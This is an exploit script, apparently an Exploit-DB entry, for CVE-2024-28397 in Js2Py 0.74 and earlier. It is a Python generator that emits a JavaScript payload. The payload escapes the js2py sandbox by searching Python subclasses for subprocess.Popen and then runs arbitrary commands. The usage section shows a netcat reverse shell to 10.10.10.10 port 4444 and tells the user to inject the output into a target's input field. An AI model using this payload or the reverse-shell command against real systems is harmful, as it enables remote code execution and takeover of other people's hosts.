Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül (xeloxa) Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: <= 0.74 Tested on: macOS, Linux (Python 3.x) CVE: CVE-2024-28397 Description: This tool generates a malicious JavaScript payload to exploit CVE-2024-28397. The vulnerability in `js2py` allows escaping the sandbox via `Object.getOwnPropertyNames` to access the `subprocess.Popen` class and execute arbitrary commands on the host. This script acts as a payload generator. You must inject the generated output into the vulnerable input field of the target application. Usage: python3 exploit.py -c "id" > payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444" """ import argparse import sys def generate_payload(command: str) -> str: """ Generates the JavaScript payload to escape the sandbox and execute the command. Args: command (str): The system command to execute. Returns: str: The malicious JavaScript payload. """ # Escape double quotes to prevent syntax errors in the JS string safe_command = command.replace('"', '\\"') # The payload uses a recursive search to find subprocess.Popen starting from a leaked # Python object wrapper. payload = """ var output = "Initial"; try { // 1. Obtain a PyObjectWrapper via Object.getOwnPropertyNames({}) // On Python 3, this returns a wrapped dict_keys object, exposing python internals. var leaked_wrapper = Object.getOwnPropertyNames({}); // 2. Access the python 'object' class via __class__.__base__ var object_class = leaked_wrapper.__getattribute__("__class__").__base__; // 3. Define a recursive function to find subprocess.Popen function find_popen(cls) { var subs = cls.__subclasses__(); for (var i = 0; i < subs.length; i++) { var item = subs[i]; try { if (item.__module__ == "subprocess" && item.__name__ == "Popen") { return item; } } catch (e) { // Ignore access violations during traversal } // Recursively search, avoiding 'type' to prevent infinite recursion if (item.__name__ != "type") { try { var result = find_popen(item); if (result) return result; } catch (e) {} } } return null; } // 4. Find Popen var Popen = find_popen(object_class); if (Popen) { // 5. Execute the command using Popen.communicate() to capture stdout/stderr var res = Popen("COMMAND_PLACEHOLDER", -1, null, -1, -1, -1, null, null, true).communicate(); output = res; } else { output = "Error: Could not find subprocess.Popen"; } } catch (e) { output = "Error during exploit execution: " + e; } output """ return payload.replace("COMMAND_PLACEHOLDER", safe_command) def main() -> None: parser = argparse.ArgumentParser( description="Payload Generator for CVE-2024-28397 (Js2Py Sandbox Escape)", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("-c", "--command", help="Command to execute on the target (default: id)", default="id") args = parser.parse_args() # Generate and print only the payload code payload = generate_payload(args.command) print(payload) if __name__ == "__main__": main()